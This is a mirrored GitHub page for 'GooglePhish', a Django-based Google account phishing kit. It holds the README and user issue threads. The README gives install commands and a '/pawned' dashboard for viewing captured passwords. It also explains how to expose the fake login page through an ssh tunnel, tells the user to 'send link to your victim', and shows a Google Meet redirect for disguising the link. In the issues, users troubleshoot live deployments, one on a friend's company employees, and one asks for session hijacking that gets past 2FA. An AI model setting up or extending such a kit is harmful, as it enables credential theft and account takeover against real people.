Giter VIP home page Giter VIP logo

googlephish's Introduction

GooglePhish

GooglePhish

  • Google Account Phishing Tool using Python Django Framework.

  • Screenshots

    Screenshots Screenshots
    Google Login Page Phisher Home Page Image Google Login Page Phisher Password Page Image

Fast Installation Using docker

  • Pull created image

    • Install Docker

    • Pull googlephish image

      docker pull dmdhrumilmistry/googlephish
    • run docker image

      docker run -d -p 8000:8000 dmdhrumilmistry/googlephish -e
  • Build Image and run using build command

      sudo docker build -t googlephish . 
  • You can specify your credentials using build arguments like this :

    sudo docker build -t googlephish -e "[email protected]" -e "DJANGO_SUPERUSER_USERNAME=admin" -e "DJANGO_SUPERUSER_PASSWORD=GooglePhish" . 
  • Run docker container

    docker run -d -p 8000:8000 googlephish

If you have build the dockerfile with no arguments, the default credentials are :

  • Username : admin
  • Password : G00g13P#15#23
  • Using Docker Compose

     docker-compose up

    โš ๏ธ Doesn't work yet

Installation

  • Clone/Download repo

    git clone https://github.com/dmdhrumilmistry/GooglePhish.git
  • Create virtual environment

    python3 -m venv env
  • Load virtual environment

    source env/bin/activate
  • Install Poetry

    python3 -m pip install poetry
  • Install requirements

    poetry install
  • Check for errors

    python3 manage.py check

    Proceed if no errors were encountered.

  • migrate db

    python3 manage.py makemigrations
    python3 manage.py migrate
  • Create user

    python3 manage.py createsuperuser
  • Collect static files

    python3 manage.py collectstatic
  • Run server

    python3 manage.py runserver

    Use --insecure tag if any issue is encountered while loading static files.

Update .env file

  • Env File template

    DJANGO_SECRET_KEY=secret_key
    DEBUG=False
    ALLOWED_HOSTS=*
    CSRF_TRUSTED_ORIGINS=https://your-domain.ngrok-free.app,https://domain.localhost.run
  • Generate and copy new secret key

    python3 generate_new_key.py
  • Set DEBUG variable to True only during development stage, else use False

  • Set CSRF_TRUSTED_ORIGINS while using ssh tunnels such as ngrok and localhost.run.

  • update values in .env file

View Passwords using GooglePhish Dashboard Page

  • Dashboard login page

    http://127.0.0.1:8000/pawned
    

Start Server

python3 manage.py runserver

if static files are not loading, turn on debug mode or use

python3 manage.py runserver --insecure

For phishing over the internet

  • Start server

    python3 manage.py runserver
  • forward port using ssh

    ssh -R 80:localhost:8000 localhost.run

    8000 is port of localhost server. 80 is localhost.run server port. Localhost is service that helps you to expose your server running on localhost to the internet, visit their documentation for more info

  • Now send link to your victim

You can redirect user from google meet to your phishing page link using

https://meet.google.com/linkredirect?dest=your_link

Project Maintainer

Contributors

Contributors List

Have any Ideas ๐Ÿ’ก or issue

  • Create an issue
  • Fork the repo, update script and create a Pull Request

googlephish's People

Contributors

d4rkh0r1z0n avatar dependabot[bot] avatar dmdhrumilmistry avatar imgbotapp avatar yannis-mlgrn avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar

googlephish's Issues

CSRF verification failed

When I run the code and open it on localhost it works fine, but when I try to do it with a tunneling service (I tried localhost.run and ngrok) it loads the first page but after I click next or enter it should go to the page where the user writes the password but instead this page appears:

Screenshot 2023-08-11 at 17 58 46

I'm not sure why this is happening, did I make a mistake setting this up or is it just a bug in the code itself? Is there any way for me to fix it? I am not trying to do anything illegal, a friend of mine owns a company and gave me an email list for me to try to phish his employers on their work emails to see if they are respecting the it security rules he implemented, so obviously they can't know what I am doing and a page like this popping up would make sure that it doesn't work, but there is nothing illegal going on. Thanks in advance.

Updated Google Page for 2022

Hey Man! I was trying to make a Phishing tool for educational purposes... So I made this page but I can seem to figure out the phising part here is a demo of the project you can modify it! and make update the tool! it would be great if you could! here are the files!

google-login-page-clone.zip

Email sign-in issue

When you are at the beginning where you enter the email address, the "Create account" button is a little too far right. Another thing is when you enter the password, the input box looks different than the actual login page.

Doing actual logins (enhancement)

What's the point of collection someone's Google login data like this.... especially since Google has 2fa for everyone.

  • Fake front end
  • A backend that uses this data not only for collection, but generating real sessions
  • Let the user validate the login

I understand there is https://github.com/kgretzky/evilginx2 but it has to be hosted in a VPS, while security researchers could use this a lot easier.

run on replit?

can you make it replit friendly

Screenshot 2022-07-17 10 17 34 PM
it gives these errors

[ Frontend ] Better css for password input

The problem ;

When we typing in the password input, the placeholder moving up and go above the email text like this :

the login popup

How we can resolve it :

I suggest to add some css specs like margin to avoid this problem

Where can I find or create the env file to allow CSRF origins and allowed hosts

I know this might seem as a stupid question, but i am still a beginner using docker.
I have pulled the image successfully and ran it locally, it worked fine.
Now after i used ngrok, i got 403 for csrf requests, i recognized i have to change the settings of allowed domains, after that i read the readme file which indicates that i have to update the ".env" file.
Problem: I can not find the ".env" file inside docker desktop app.
I tried pasting the settings in the ".dockerenv" file but things didn't work as suposed.

I was wondering how can i copy the ngrok subdomain generated after i have ran the docker image which is dependant on the domain to be allowed for csrf and ALLOWED HOSTS.
So I decided to use a wild card for the subdomain but that didn't work neither.
Any type of guidance is appreciated. Thanks in advance.

Docker image is not yet updated

In your documentation you said that we can use your docker image. but it's not updated we have the old form and the admin dashboard doesn't exist at http://localhost:8000/pawned

Fix docker-compose.yml file

    @dmdhrumilmistry, I can't launch your `docker-compose` with this command : `docker-compose up`. I've this error, it's nomal ? idk if we should create a issue about this
ERROR: The Compose file is invalid because:
Service web has neither an image nor a build context specified. At least one must be provided.

Originally posted by @yannis-mlgrn in #14 (comment)

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.